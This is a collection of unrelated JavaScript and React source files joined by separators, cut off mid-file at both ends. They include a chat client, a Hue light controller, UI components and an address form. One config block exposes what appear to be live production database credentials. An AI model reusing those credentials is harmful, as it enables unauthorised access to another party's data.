<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Guided Buying</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--cart-3"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Strategic Procurement</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--flight"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Travel & Expense</div>
<div class="fd-product-switch__subtitle">Concur</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--shipping-status"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Vendor Management</div>
<div class="fd-product-switch__subtitle">Fieldglass</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--customer"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Human Capital Management</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--sales-notification"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Sales Cloud</div>
<div class="fd-product-switch__subtitle">Sales Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--retail-store"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Commerce Cloud</div>
<div class="fd-product-switch__subtitle">Commerce Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--marketing-campaign"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Marketing Cloud</div>
<div class="fd-product-switch__subtitle">Marketing Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--family-care"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Service Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--customer-briefing"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Customer Data Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--batch-payments"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">S/4HANA</div>
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
`;
productSwitch.parameters = {
docs: {
storyDescription: 'This example shows an integration with other products, and a customized logo. For more information about the Product Switch, see [Product Switch](product-switch.html) component.'
}
};
|
var Chat = function (socket) {
this.socket = socket;
}
Chat.prototype.sendMessage = function (text) {
this.socket.emit('message', { text: text });
}
Chat.prototype.changeRoom = function (room) {
this.socket.emit('join', { newRoom: room });
}
Chat.prototype.processCommand = function (command) {
var words = command.split(' ');
var command = words[0].substring(1, words[0].length).toLowerCase();
words.shift();
var commandText = words.join(' ');
var ret = false;
switch (command) {
case "join":
this.changeRoom(commandText)
break;
case "nick":
this.socket.emit('nameAttempt', commandText)
break;
case "clear":
$('#messages').empty();
break;
default:
ret = '不支持的命令:' + command + '。';
break;
}
return ret;
}
var socket = io.connect();
var nickName, currentRoom;
socket.on('disconnect', function () {
console.log("与服务其断开");
});
socket.on('reconnect', function () {
console.log("重新连接到服务器");
});
$(function () {
var chatApp = new Chat(socket);
socket.on('nameResult', function (result) {
var message;
if (result.success) {
nickName = result.name;
message = "成功更换昵称为:" + result.name;
} else {
message = result.message;
}
$('#messages').append(systemMessage(message));
$('#messages').scrollTop($('#messages').prop('scrollHeight'));
});
socket.on('joinResult', function (result) {
currentRoom = result.room;
$('#room').text(result.room);
$('#messages').append(systemMessage("加入房间:" + result.room));
$('#messages').scrollTop($('#messages').prop('scrollHeight'));
});
socket.on('message', function (message) {
$('#messages').append(userMessage(message.text));
$('#messages').scrollTop($('#messages').prop('scrollHeight'));
});
socket.on('rooms', function (rooms) {
$('#room-list').empty();
for (var room in rooms) {
room = room.substring(1, room.length);
if (room != '') {
var className = 'list-group-item';
if (room == currentRoom) {
className += ' active';
}
$('#room-list').append($('<a href="#" class="' + className + '"></a>').text(room));
}
}
$('#room-list a').click(function () {
var that = $(this);
if (that.hasClass("active")) {
return;
}
chatApp.processCommand('/join ' + that.text());
$('#send-message').focus();
});
});
setInterval(function () {
socket.emit('rooms');
}, 10000);
$('#send-message').focus();
$('#send-form').submit(function () {
processUserInput(chatApp, socket);
return false;
});
});
function systemMessage(message) {
return $('<div class="system"></div>').html('<i>' + message + '</i>');
}
function userMessage(message) {
return $('<div class="user"></div>').text(message);
}
function processUserInput(chatApp, socket) {
var message = $.trim($('#send-message').val());
if (message == '') {
return;
}
if (message.charAt(0) == '/') {
var result = chatApp.processCommand(message);
if (result) {
$('#messages').append(systemMessage(result));
}
} else {
chatApp.sendMessage(message);
$('#messages').append(userMessage(nickName + ':' + message));
}
$('#messages').scrollTop($('#messages').prop('scrollHeight'));
$('#send-message').val('');
}
|
/**
* file: kingfish.js
* being: the original script
**/
$(function () {
// load all .persistent elements
$(".persistent").each(function (i, d) {
try {
var val = localStorage.getItem("kingfish." + $(this).attr('id'));
if (val) {
$(this).val(val);
}
} catch (e) {}
});
// initialize devicetype if it's empty
if ("" === $("#devicetype").val()) {
$("#devicetype").val("Kingfish#" + Math.floor(Math.random() * 8999 + 1000).toString());
$("#devicetype").change();
}
// set up light-group buttonset
$("#lg").buttonset();
});
// save .persistent element when it changes
$(".persistent").on("change keyup", function () {
try {
localStorage.setItem("kingfish." + $(this).attr('id'), $(this).val());
} catch (e) {}
});
var displayResponse = function (command, response) {
if (!command && response.length) {
if (response[0].error && response[0].error.description === 'link button not pressed') {
alert("Press link button on bridge and try again.");
} else if (response[0].success) {
try {
$("#username").val(response[0].success.username);
$("#username").change();
} catch (e) {
alert(e)
}
}
}
$("#response").html('<pre>' + JSON.stringify(response, undefined, 4) + '</pre>');
};
var portalResponse = function (response) {
if (response.length) {
try {
$("#bridge-ip").val(response[0].internalipaddress);
$("#bridge-ip").change();
} catch (e) {
alert(e)
}
}
$("#response").html('<pre>' + JSON.stringify(response, undefined, 4) + '</pre>');
};
var queryPortal = function () {
try {
$.ajax({
url: "https://www.meethue.com/api/nupnp",
type: "GET",
dataType: "json",
success: function (response) {
portalResponse(response)
},
error: function (jqhxr, textStatus, errorThrown) {
alert(textStatus + " sending to bridge - confirm IP address is correct");
}
});
} catch (e) {
alert(e);
}
};
var doHue = function (type, command, dataObj) {
try {
$.ajax({
url: "http://" + $("#bridge-ip").val() + "/api/" + $("#username").val() + (command ? ("/" + command) : ""),
type: type,
data: JSON.stringify(dataObj),
dataType: "json",
contentType: 'application/json; charset=utf-8',
success: function (response) {
displayResponse(command, response);
},
error: function (jqhxr, textStatus, errorThrown) {
alert(textStatus + " sending to bridge - confirm IP address is correct");
}
});
} catch (e) {
alert(e);
}
};
var doDrift = function () {
doHue("PUT", stateAction(), {
"hue": Math.floor(Math.random() * 65536),
"sat": Math.floor(Math.random() * 256),
"transitiontime": transitionTime()
});
console.log("sent drift ", Math.round(Date.now() / 1000));
};
var stateAction = function () {
var lg = $("input[name=lg]:checked").val().replace(/\s*checked\s*/, '');
return (lg + "/" + $("#lg-sel").val() + ((lg === 'lights') ? "/state" : "/action"));
};
var transitionTime = function () {
return ($("#tt-sel").val() * $("#tt-val").val());
};
$("#huesat-set").change(function () {
$("#huesat-hue").val(Math.round(65535 * $("#huesat-set").val() / 16));
});
$(".lg-set").mousedown(function () {
$("#lg-group").prop("checked", true);
$("#lg-group").change();
$("#lg-light").change();
$("#lg-sel").val("0");
$("#lg-sel").change();
});
$(".ct-set").mousedown(function () {
$("#ct-kelvin").val($(this).html());
$("#ct-kelvin").change();
});
$(".tt-set").mousedown(function () {
$("#tt-val").val($(this).html());
$("#tt-val").change();
});
$(".bri-set").mousedown(function () {
$("#on-bri").val($(this).html());
$("#on-bri").change();
});
$(".sat-set").mousedown(function () {
$("#huesat-sat").val($(this).html());
$("#huesat-sat").change();
});
$("#query-portal").click(function () {
queryPortal();
});
$("#get-username").click(function () {
doHue("POST", null, {
"devicetype": $("#devicetype").val()
});
});
$("#get").click(function () {
doHue("GET", $("#get-sel").val());
});
$("#colorloop").click(function () {
doHue("PUT", stateAction(), {
"effect": "colorloop"
});
});
$("#effect-none").click(function () {
doHue("PUT", stateAction(), {
"effect": "none"
});
});
$("#blink1").click(function () {
doHue("PUT", stateAction(), {
"alert": "select"
});
});
$("#blink15").click(function () {
doHue("PUT", stateAction(), {
"alert": "lselect"
});
});
var driftHandle;
$("#drift-on").click(function () {
try {
clearInterval(driftHandle);
} catch (e) {}
driftHandle = setInterval(doDrift, $("#di-sel").val() * $("#di-val").val() * 100);
});
$("#drift-off").click(function () {
try {
clearInterval(driftHandle);
} catch (e) {}
});
$("#off").click(function () {
doHue("PUT", stateAction(), {
"on": false,
"transitiontime": transitionTime()
});
});
$("#on").click(function () {
var bri = parseInt($("#on-bri").val());
bri = isNaN(bri) ? 127 : bri;
$("#on-bri").val(bri.toString());
$("#on-bri").change();
doHue("PUT", stateAction(), {
"on": true,
"bri": bri,
"transitiontime": transitionTime()
});
});
$("#huesat").click(function () {
var hue = parseInt($("#huesat-hue").val());
hue = isNaN(hue) ? 32767 : hue;
$("#huesat-hue").val(hue.toString());
var sat = parseInt($("#huesat-sat").val());
sat = isNaN(sat) ? 127 : sat;
$("#huesat-sat").val(sat.toString());
$("#huesat-sat").change();
doHue("PUT", stateAction(), {
"hue": hue,
"sat": sat,
"transitiontime": transitionTime()
});
});
$("#ct").click(function () {
var kelvin = parseInt($("#ct-kelvin").val());
kelvin = isNaN(kelvin) ? 2700 : kelvin;
$("#ct-kelvin").val(kelvin.toString());
$("#ct-kelvin").change();
doHue("PUT", stateAction(), {
"ct": Math.round(1000000 / kelvin),
"transitiontime": transitionTime()
});
});
|
// Elimina Cliente
$('.btn-delete-client').on('click', function(e){
e.preventDefault();
var target = $(e.target);
var url = '/panel/customers/delete/'+ target.attr('name');
$('#modal-btn-delete').attr('href',url);
});
|
import Togglable from './Togglable'
import BlogForm from './BlogForm'
import _ from 'lodash'
import Blog from './Blog'
import React from 'react'
const BlogList = ({blogs, addLike, remove}) => (
<div>
<Togglable buttonLabel="new blog">
<h2>create new</h2>
<BlogForm />
</Togglable>
<br />
{_.sortBy(blogs, 'likes')
.reverse()
.map((blog) => (
<Blog key={blog.id} blog={blog} addLike={addLike} removeBlog={remove} />
))}
</div>
)
export default BlogList
|
function convertCelsiusToFahrenheit(temperature){
fahrenheit = (temperature*1.8) + 32;
return fahrenheit.toString() + " °F";
}
function convertFahrenheitToCelsius(temperature){
celsius = (temperature - 32) /1.8;
return celsius.toString() + " °C";
}
|
import { useEffect, useState } from "react";
export default function useForm(receivedValues) {
const [values, setValues] = useState(receivedValues);
useEffect(() => {
setValues(receivedValues);
}, [receivedValues]);
function handleInputChange(e) {
setValues({ ...values, [e.target.name]: e.target.value });
}
return {
values,
inputProps: (inputName) => ({
name: inputName,
value: values?.[inputName] || "",
onChange: handleInputChange,
}),
};
}
|
var app = angular.module("main", ["ngRoute"]);
app.config(function ($routeProvider) {
$routeProvider
.when("/PlaceOrder", {
templateUrl: "/Client/Views/index.html",
controller: "orderCtrl"
}).when("/Orders", {
templateUrl: "/Client/Views/Orders.html",
controller: "listOrdersCtrl"
});
});
app.controller('mainCtrl', function ($scope, $http) {
});
|
// Define collections here that will be used on both client and server
|
import "./styles.css";
export const ThemeButton = ({ handleClick, theme }) => {
console.log(handleClick, theme);
return (
<button
onClick={handleClick}
className="switch-button"
alt={
theme === "darker" ? "Switch to light theme" : "Switch to darker theme"
}
title={
theme === "darker" ? "Switch to light theme" : "Switch to darker theme"
}
>
{theme === "darker" ? <span>☀️</span> : <span>🌙</span>}
</button>
);
};
|
import React from 'react';
import PropTypes from 'prop-types';
import { changeSearch, changeRegion } from './actions';
import { getSearch, getRegion, getCountries, getCountriesByFilter } from './selectors';
import { createStructuredSelector } from 'reselect';
import { connect } from 'react-redux';
import './CountryList.css';
import CountryCard from './CountryCard';
const REGIONS = new Set(['Africa', 'Americas', 'Asia', 'Europe', 'Oceania', 'Polar']);
/**
* Presentational component that displays a list of CountryCards
* populated by the countries prop.
*/
function CountryList({ countries, search, filterRegion, onSearchChange, onRegionChange, countriesFiltered }) {
/** Creates a CountryCard for each country */
function renderCountries() {
let countryList = [...countriesFiltered];
const dummies = countryList.length % 4;
for (let i = 1; i <= dummies; i++) {
countryList.push(`D-${i}`);
}
return countryList.map(code => <CountryCard key={code} country={countries[code]} />)
}
return (
<div className="CountryList">
<div className="CountryList-filter">
<div className="CountryList-search">
<i className="fa fa-search" aria-hidden="true"></i>
<input
type="text"
name="search"
aria-label="Search"
value={search}
placeholder="Search for a country..."
onChange={onSearchChange}
/>
</div>
<div className="CountryList-select">
<select
name="region"
id="region"
value={filterRegion}
onChange={onRegionChange}
>
<option value="">Filter by Region</option>
{[...REGIONS].map(r => <option key={r}>{r}</option>)}
</select>
<i className="fa fa-chevron-down" aria-hidden="true"></i>
</div>
</div>
<div className="CountryList-container">
{
countriesFiltered.length ?
renderCountries() :
<p className="CountryList-no-result">No results found!</p>
}
</div>
</div>
)
}
CountryList.propTypes = {
search: PropTypes.string,
filterRegion: PropTypes.string,
countries: PropTypes.oneOfType([PropTypes.object, PropTypes.bool]),
countriesFiltered: PropTypes.array,
onSearchChange: PropTypes.func,
onRegionChange: PropTypes.func
}
const mapStateToProps = createStructuredSelector({
search: getSearch,
filterRegion: getRegion,
countries: getCountries,
countriesFiltered: getCountriesByFilter
});
const mapDispatchToProps = (dispatch) => {
return {
onSearchChange: (e) => {
dispatch(changeSearch(e.target.value))
},
onRegionChange: (e) => {
dispatch(changeRegion(e.target.value))
}
}
}
export default connect(mapStateToProps, mapDispatchToProps)(CountryList);
|
/* eslint-disable valid-jsdoc */
'use strict';
/**
* @author Dave Grix
* @param data string
* @return array
*/
const validateUPTBudgets = async(data) => {
const supplierData = JSON.parse(data);
let result = {};
let finalObject = [];
let request = supplierData.map((row) => {
return new Promise((resolve, reject) => {
/**
* @param row object
* @param row.year number required
* @param row.month number required
* @param row.day number
* @param row.hour number
* @param row.organisation_id string required
* @param row.basket_size_with_returns number required
*/
if (!row.year) {
result.errorID = '';
result.errorField = 'year';
result.errorReason = 'Missing Required Property';
reject(result);
} else {
if (isNaN(row.year)) {
result.errorID = '';
result.errorField = 'year';
result.errorReason = 'Not a Number!';
reject(result);
}
}
if (!row.month) {
result.errorID = '';
result.errorField = 'month';
result.errorReason = 'Missing Required Property';
reject(result);
} else {
if (isNaN(row.month)) {
result.errorID = '';
result.errorField = 'month';
result.errorReason = 'Not a Number!';
reject(result);
}
}
if (row.day) {
if (isNaN(row.day)) {
result.errorID = row.year + ' ' + row.month;
result.errorField = 'day';
result.errorReason = 'Not a Number!';
reject(result);
}
} else {
row.day = 0;
}
if (row.hour) {
if (isNaN(row.hour)) {
result.errorID = row.year + ' ' + row.month;
result.errorField = 'hour';
result.errorReason = 'Not a Number!';
reject(result);
}
} else {
row.hour = 0;
}
if (!row.organisation_id) {
result.errorID = '';
result.errorField = 'organisation_id';
result.errorReason = 'Missing Required Property';
reject(result);
} else {
if (typeof row.organisation_id !== 'string') {
result.errorID = '';
result.errorField = 'organisation_id';
result.errorReason = 'Not a String';
reject(result);
} else {
row.dimensions = { 'store': row.organisation_id };
}
}
if (!row.basket_size_with_returns && row.basket_size_with_returns !== 0) {
result.errorID = '';
result.errorField = 'basket_size';
result.errorReason = 'Missing Required Property';
reject(result);
} else {
if (isNaN(row.basket_size_with_returns)) {
result.errorID = '';
result.errorField = 'basket size';
result.errorReason = 'Not a Number!';
reject(result);
} else {
row.metrics = { 'basket_size_with_returns': row.basket_size_with_returns };
}
}
finalObject.push(row);
resolve(row);
});
});
return await Promise.all(request);
}
;
module.exports = {
validateUPTBudgets
};
|
const db = require('../db')
let test = async function(){
const result = await db.runSQL('SELECT abs($1)',[1]);
return result;
}
let ttest = async function(){
let sqlParames = [
{
sql: `SELECT now()`
},
{
sql: `select mod(3,2)`,
}
]
const result = await db.runTSQL(sqlParames);
return result;
}
module.exports = {
test,
ttest
}
|
// for deployment prod
module.exports = {
HOST: "ec2-52-5-247-46.compute-1.amazonaws.com",
USER: "nfzcwcenvzwhrz",
PASSWORD: "6d3f685af7c7df8b02903070071007c1ee07b596f1286d84829acf9748059487",
DB: "dau0u69l456mba",
dialect: "postgres",
};
// for dev
// module.exports = {
// HOST: "localhost",
// USER: "postgres",
// PASSWORD: "Mohib123@",
// DB: "TodoList",
// dialect: "postgres",
// pool: {
// max: 5,
// min: 0,
// acquire: 30000,
// idle: 10000,
// },
// };
|
define(["jquery",
"zone/base",
"app/animation-util"],
function (
$,
BaseZone,
animationMethods) {
"use strict";
var InLoveZone = function($element) {
BaseZone.apply(this, arguments);
this.$lovers = $element.find("#lovers");
this.$text = $element.find("p");
};
InLoveZone.inheritsFrom(BaseZone);
InLoveZone.prototype.moveIn = function() {
$.each(this.$text, animationMethods.slideInFromTheSide());
$.each(this.$lovers, animationMethods.slideInFromTheSide());
this.parent.moveIn.call(this);
};
InLoveZone.prototype.moveOut = function() {
$.each(this.$text, animationMethods.slideBackToTheSide());
$.each(this.$lovers, animationMethods.slideBackToTheSide());
};
return InLoveZone;
});
|
var searchData=
[
['fwd_5feuler',['fwd_euler',['../classtime__stepper_1_1fwd__euler.html',1,'time_stepper']]]
];
|
/* global toastr:false, moment:false */
(function() {
'use strict';
angular
.module('app.core')
.constant('toastr', toastr)
.constant('moment', moment)
.constant('BASE_ROUTE', '/addashboard.client')
.constant('BASE_SERVER', 'http://localhost:8080')
.constant('API_BASE_URL', 'http://localhost:8080/adcatal.server/rest')
.constant('BASE_VIEW', '/adcatal.client/src/client')
.constant('BASE_ROUTE_DASHBOARD', '/addashboard.client')
.constant('API_BASE_ADINVTRY_URL', 'http://localhost:8080/adinvtry.server/rest')
.constant('BASE_VIEW_STOCK', '/adstock.client/src/client')
.constant('API_BASE_ADSTOCK_URL', 'http://localhost:8080/adstock.server/rest');
})();
|
window.app = window.app || {};
window.app.menuComponent = {
init: function (title, data) {
var self = this;
var dest = $('nav.sliderMenu ul');
var sliderHeaderTitle = $('nav.sliderMenu header span');
var sliderList = $('nav.sliderMenu ul');
var tmp = '';
for (var i = 0; i < data.length; i++) {
tmp += '<li data-id="' + data[i].id + '">' + data[i].label + '</li>';
}
dest.html(tmp);
sliderHeaderTitle.html(title);
sliderList.height($(window).height() - $('nav.sliderMenu header').height() - 20);
sliderList.css('left', 0 - sliderList.width());
setTimeout(function () {
sliderList.css('-moz-transition', 'left 0.5s');
sliderList.css('transition', 'left 0.5s');
}, 100);
$('nav.sliderMenu header img').on('click', function () {
self.toggle();
});
$('nav.sliderMenu ul li').on('click', function (e) {
$(document).trigger('menuItem:selected', {id: $(e.currentTarget).attr('data-id'), label: $(e.currentTarget).html()});
});
},
toggle: function () {
var sliderList = $('nav.sliderMenu ul');
var sliderIcon = $('nav.sliderMenu header img');
var dim = $('.dim');
if (sliderList.hasClass('closed')) {
sliderList.removeClass('closed').addClass('opened');
sliderIcon.removeClass('closed').addClass('opened');
dim.show();
sliderList.css('left', '-2px');
}
else {
sliderList.removeClass('opened').addClass('closed');
sliderIcon.removeClass('opened').addClass('closed');
dim.hide();
sliderList.css('left', 0 - sliderList.width());
}
}
};
|
import React, { Component } from 'react'
import { Container,} from '@material-ui/core'
import Navbar from './components/navbar/Navbar.js';
import {BrowserRouter, Switch, Route, Redirect} from 'react-router-dom'
import Home from './components/home/Home.js';
import Auth from './components/auth/Auth.js';
import PostDetails from './components/postDetail/PostDetails.js';
import NotFound from './components/NotFound.js';
function App() {
const user = localStorage.getItem('profile') ? JSON.stringify(localStorage.getItem('profile')) : null;
const PrivateRoute = ({Component : component, ...rest}) =>(
<Route
{...rest}
render={() => user ? <Redirect to="/posts"/> : <Component /> }
/>
)
return (
<BrowserRouter>
<Container maxWidth='xl'>
<Navbar />
<Switch>
<Route path="/" exact component={() => <Redirect to="/posts"/>}/>
<Route path="/posts" exact component={Home}/>
<Route path="/posts/search" exact component={Home}/>
<Route path="/posts/:id" exact component={PostDetails}/>
<PrivateRoute path="/auth" exact component={Auth}/>
<Route component={NotFound}/>
</Switch>
</Container>
</BrowserRouter>
);
}
export default App;
|
function getNextMonthStart(dateStr) {
var nextMonth, year;
{
let curMonth;
[ , year, curMonth ] = dateStr.match(
/(\d{4})-(\d{2})-\d{2}/
) || [];
nextMonth = (Number(curMonth) % 12) + 1;
}
if (nextMonth == 1) {
year++;
}
return `${ year }-${
String(nextMonth).padStart(2,"0")
}-01`;
}
console.log(getNextMonthStart("2019-12-25")); // 2020-01-01
|
$(document).ready(function(){
var controller = new ScrollMagic.Controller();
var scene = new ScrollMagic.Scene({
triggerElement: '.right',
})
.setClassToggle('.right', 'animRight')
.addTo(controller);
var scene2 = new ScrollMagic.Scene({
triggerElement: '.up',
})
.setClassToggle('.up', 'animUp')
.addTo(controller);
var scene3 = new ScrollMagic.Scene({
triggerElement: '.right2',
})
.setClassToggle('.right2', 'animRight2')
.addTo(controller);
var scene4 = new ScrollMagic.Scene({
triggerElement: '.down',
})
.setClassToggle('.down', 'animDown')
.addTo(controller);
var controller = new ScrollMagic.Controller({
globalSceneOptions: {
triggerHook: 'onLeave'
}
});
// get all slides
var slides = document.querySelectorAll("div.full-screen");
// create scene for every slide
for (var i=0; i<slides.length; i++) {
new ScrollMagic.Scene({
triggerElement: slides[i]
})
.setPin(slides[i])
.addIndicators() // add indicators (requires plugin)
.addTo(controller);
}
});
|
import Layout from '../layouts/layout';
import Head from '../components/head';
export default function Skincare(){
return(
<Layout>
<div>
<Head judul="Skincare"/>
<p>Berbagai Macam Skincare original dan terjamin.</p>
<hr/>
</div>
</Layout>
);
}
|
import ScoreListItem from "./ScoreListItem";
import "./ScoreListItem.scss";
function ScoreList({ orderedArray, scoresArray }) {
return (
<div>
{orderedArray &&
orderedArray.slice(0,5).map((player, index) => (
<ScoreListItem
key={index}
name={player.name}
score={player.score}
pointsEarned={player.pointsEarned}
position={scoresArray.findIndex((s) => s === player.score) + 1}
/>
))}
</div>
);
}
export default ScoreList;
|
(function(_, $){
$('.cp-special-input').change(function(){
if ($(this).prop('checked') !== true) {
$('.cp-special-input').removeAttr('checked');
} else {
$('.cp-special-input').removeAttr('checked');
$(this).prop('checked', true);
}
});
})(Tygh, Tygh.$);
|
'use strict';
angular.module('teacherForm', [
'ngRoute',
'core.teacher'
]);
|
/**
* 继承4: 元类继承
*
*/
function Parent(string) {
var child = new Function('this.x = 10;' + string);
return child;
}
var child = new Parent('this.y = 20;');
var childObj = new child();
console.log(childObj.y);
|
'use strict';
import * as chai from 'chai';
const chaiAsPromised = require('chai-as-promised');
const chaiThings = require('chai-things');
import sinonChai from 'sinon-chai';
import { expect } from 'chai';
import { EnqueuedEmail } from './enqueued_email';
import * as sqsMessages from './sqs_receive_messages_response.json';
import * as sinon from 'sinon';
import mailcomposer from 'mailcomposer';
chai.use(sinonChai);
chai.use(chaiAsPromised);
chai.use(chaiThings);
describe('EnqueuedEmail', () => {
let email;
before(() => {
email = new EnqueuedEmail(JSON.parse(sqsMessages.Messages[0].Body), 'some_handler');
});
describe('#toSesParams()', () => {
it('builds SES params', (done) => {
const sesEmail = email.toSesParams();
expect(sesEmail).to.have.property('Source', email.message.sender.emailAddress);
expect(sesEmail).to.have.deep.property('Destination.ToAddresses');
expect(sesEmail).to.have.deep.property('Message.Body.Html.Data', email.message.campaign.body);
expect(sesEmail).to.have.deep.property('Message.Subject.Data', email.message.campaign.subject);
done();
});
});
describe('#toSesRawParams()', () => {
it('builds SES raw params', (done) => {
email.toSesRawParams().then(sesRawEmail => {
expect(sesRawEmail).to.have.deep.property('RawMessage.Data');
done();
}).catch(done);
});
});
describe('#toSentEmail()', () => {
it('builds SentEmail params', (done) => {
const messageId = 'my-message-id';
const sesEmail = email.toSentEmail(messageId);
expect(sesEmail).to.have.property('messageId', messageId);
expect(sesEmail).to.have.property('recipientId', email.message.recipient.id);
expect(sesEmail).to.have.property('campaignId', email.message.campaign.id);
expect(sesEmail).to.have.property('email', email.message.recipient.email);
expect(sesEmail).to.have.property('listId', email.message.recipient.listId);
expect(sesEmail).to.have.property('status', 'sent');
done();
});
});
});
|
function init(what) {
if(what.length>=2){
house = what.substr(0,1);
tenant = what.substr(1,1);
document.getElementById(house).className = "nav2"; // highlight house
document.getElementById(house + "_link").className = "nav_text2"; // change house link
document.getElementById(house + "_sub").className = "nav3"; // show and hide stories
document.getElementById(house + tenant).className = "subnav2high"; // highlight tenant
}
else{
house = what.substr(0,1);
document.getElementById(house).className = "nav2"; // highlight house
document.getElementById(house + "_link").className = "nav_text2"; // change house link
}
}
function change(o_id,so_id,link_id) {
if (o_id.className == "nav") {
if (so_id == 'A_sub')
o_id.className = "nav3";
else
o_id.className = "nav2";
if (so_id != 'A_sub')
document.getElementById(so_id).className = "subnavback2";
document.getElementById(link_id).className = "nav_text2";
}
else {
o_id.className = "nav";
if (so_id != 'A_sub')
document.getElementById(so_id).className = "subnavback";
document.getElementById(link_id).className = "nav_text";
}
}
function highlight(o_id) {
if (o_id.className == "subnav")
o_id.className = "subnav2";
else if (o_id.className == "subnav2")
o_id.className = "subnav";
}
function change_main(o_id,link_id) {
if (o_id.className == "nav") {
if (link_id == 'A_link')
o_id.className = "nav3";
else
o_id.className = "nav2";
if (link_id != 'A_link')
document.getElementById(link_id).className = "nav_text2";
}
else {
o_id.className = "nav";
if (link_id != 'A_link')
document.getElementById(link_id).className = "nav_text";
}
}
|
import React, { Component } from "react";
import { Row, Col, Form, Input, Checkbox } from "antd";
import "./AdressForm.css";
import { connect } from "react-redux";
import * as actionTypes from "./../../store/actionTypes";
const InputGroup = Input.Group;
class AdressForm extends Component {
formRef = React.createRef();
componentDidMount() {
this.formRef.current.setFieldsValue(this.props.values);
const { addressForm } = this.props;
addressForm(this);
}
onSubmit = () => {
this.formRef.current.submit();
};
render() {
return (
<>
<Form
initialValues={this.props.values}
name="adressForm"
onFinish={this.props.onFinish}
ref={this.formRef}
>
<Row>
<Col sx={24} md={12} className="custom-col">
<Form.Item
name="name"
rules={[
{
required: true,
message: "Imię jest wymagane."
},
{
type: "string",
message: "Niepoprawny format!"
}
]}
>
<Input placeholder="Imię" />
</Form.Item>
<Form.Item
name="lastName"
rules={[
{ required: true, message: "Nazwisko jest wymagane." },
{
type: "string",
message: "Niepoprawny format!"
}
]}
>
<Input placeholder="Nazwisko" />
</Form.Item>
<Form.Item
name="email"
rules={[
{ required: true, message: "E-mail jest wymagany." },
{
type: "email",
message: "Niepoprawny format e-mail!"
}
]}
>
<Input placeholder="E-mail" />
</Form.Item>
<Form.Item
name="phone"
rules={[
{
required: true,
message: "Numer telefonu jest wymagany."
},
{
type: "regexp",
pattern: new RegExp(/^[0-8]{8,12}$/g),
message: "Niepoprawny format!"
}
]}
>
<Input
addonBefore="+48"
placeholder="Numer telefonu"
type="number"
/>
</Form.Item>
<Form.Item
name="adress"
rules={[{ required: true, message: "Adres jest wymagany." }]}
>
<Input placeholder="Adres" />
</Form.Item>
<Form.Item>
<InputGroup>
<Row gutter={2} className="input-group-row">
<Col span={12}>
<Form.Item
name="city"
rules={[
{ required: true, message: "Miasto jest wymagane." }
]}
>
<Input placeholder="Miasto" />
</Form.Item>
</Col>
<Col span={12}>
<Form.Item
name="zip"
rules={[
{
required: true,
message: "Kod pocztowy jest wymagane."
}
]}
>
<Input placeholder="Kod pocztowy" />
</Form.Item>
</Col>
</Row>
</InputGroup>
</Form.Item>
<Form.Item>
<Checkbox
type="checkbox"
name="invoiceNeeded"
checked={this.props.invoiceNeeded}
onChange={this.props.handleCheckbox}
>
Czy potrzebujesz faktury na firmę?
</Checkbox>
</Form.Item>
</Col>
<Col
sx={24}
md={12}
className={
this.props.invoiceNeeded ? "visible custom-col" : "hidden"
}
>
<Form.Item
name="companyName"
rules={[
{
required: this.props.invoiceNeeded,
message: "Nazwa firmy jest wymagana."
}
]}
>
<Input placeholder="Nazwa firmy" />
</Form.Item>
<Form.Item
name="NIP"
rules={[
{
required: this.props.invoiceNeeded,
message: "NIP jest wymagane."
},
{
type: "regexp",
pattern: new RegExp(/^[0-9]{10}$/g),
message: "Niepoprawny format!"
}
]}
>
<Input placeholder="NIP" type="number" />
</Form.Item>
<Form.Item
name="companyEmail"
rules={[
{
required: this.props.invoiceNeeded,
message: "E-mail jest wymagany."
},
{
type: "email",
message: "Niepoprawny format e-mail!"
}
]}
>
<Input placeholder="E-mail" />
</Form.Item>
<Form.Item
name="companyPhone"
rules={[
{
required: this.props.invoiceNeeded,
message: "Numer telefonu jest wymagany."
},
{
type: "regexp",
pattern: new RegExp(/^[0-8]{8,12}$/g),
message: "Niepoprawny format!"
}
]}
>
<Input addonBefore="+48" placeholder="Numer telefonu" />
</Form.Item>
<Form.Item
name="companyAdress"
rules={[
{
required: this.props.invoiceNeeded,
message: "Adres jest wymagany."
}
]}
>
<Input placeholder="Adres Firmy" />
</Form.Item>
<Form.Item>
<InputGroup>
<Row gutter={2} className="input-group-row">
<Col span={12}>
<Form.Item
name="companyCity"
rules={[
{
required: this.props.invoiceNeeded,
message: "Miasto jest wymagane."
}
]}
>
<Input placeholder="Miasto" />
</Form.Item>
</Col>
<Col span={12}>
<Form.Item
name="companyZip"
rules={[
{
required: this.props.invoiceNeeded,
message: "Kod pocztowy jest wymagany."
}
]}
>
<Input placeholder="Kod pocztowy" />
</Form.Item>
</Col>
</Row>
</InputGroup>
</Form.Item>
</Col>
</Row>
</Form>
</>
);
}
}
// REDUX
const mapStateToProps = state => {
return {
invoiceNeeded: state.adressFormReducer.invoiceNeeded,
values: state.adressFormReducer.values
};
};
const mapDispatchToProps = dispatch => {
return {
handleCheckbox: e =>
